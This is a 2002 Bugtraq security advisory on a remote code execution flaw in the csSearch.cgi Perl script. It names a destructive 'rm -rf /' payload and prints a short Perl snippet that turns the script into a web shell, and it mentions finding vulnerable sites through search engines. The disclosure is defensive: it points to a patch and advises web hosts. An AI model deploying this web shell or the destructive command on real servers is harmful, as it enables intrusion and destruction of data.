Home page logo

bugtraq logo Bugtraq mailing list archives

CGIscript.net - csSearch.cgi - Remote Code Execution (up to 17,000 sites vulnerable)
From: Steve Gustin <stegus1 () yahoo com>
Date: Mon, 25 Mar 2002 14:47:23 -0800 (PST)

CGIscript.net - csSearch.cgi - Remote Code Execution
(up to 17,000 sites vulnerable)
Name      : csSearch.cgi - Remote Code Execution
Date      : March 25, 2002

Product   : csSearch
Version   : 2.3 (vulnerable)
Vuln Type : Access Validation Error
Severity  : HIGH RISK

Vendor    : WWW.CGIscript.NET, LLC.
Homepage  : http://www.cgiscript.net/

csSearch is a free perl cgi search script developed by
Mike Barone and Andy Angrick. According to the website
(cgiscript.net) over 17,000 people have downloaded

csSearch stores it's configuration data as perl code
in a file called "setup.cgi" which is eval()uated by
the script to load it back into memory at runtime. 
Due to an Access Validation Error, any user can cause
configuration data to be written to "setup.cgi" and
therefore execute arbitrary perl code on the server.

The paid version of this script, csSearch Pro, may
also be vulnerable.

Configuration data is saved with the following URL. 
Note that any perl code would need to be URL encoded.


For example, the classic "rm -rf /" example would be
as follows:


Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.

*ShowSearchForm = *Login = sub {
  print "<form method=post action=csSearch.cgi>Enter
Command (eg: ls -l)<br>";
  print "<input type=text name=cmd size=99> ";
  print "<input type=submit value=Execute><hr><xmp>";
  $in{'cmd'} && print `$in{'cmd'} 2>&1`;

URL Encoded as:


Because of the high number of users who have
downloaded this script (over 17,000 according to
cgiscript.net) and the fact that search engines can
easily be used to identify sites with the unique
"csSearch.cgi" script name, the risk posed by this
flaw is very high indeed.  

Vendor has released a new version, csSearch 2.5, which
patches the flaw.

ISPs and Web hosts may want to consider searching for
this script on their servers ("csSearch.cgi") and
disabling it or advising their customers of the risk
until they can install the patched version.

The information within this document may change
without notice. Use of this information constitutes
acceptance for use in an AS IS condition. There are NO
warranties with regard to this information. In no
event shall the author be liable for any consequences
whatsoever arising out of or in connection with the
use or spread of this information. Any use of this
information lays within the user's responsibility.

stegus1 () yahoo com

Do You Yahoo!?
Yahoo! Movies - coverage of the 74th Academy Awards®

  By Date           By Thread  

Current thread:
  • CGIscript.net - csSearch.cgi - Remote Code Execution (up to 17,000 sites vulnerable) Steve Gustin (Mar 26)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]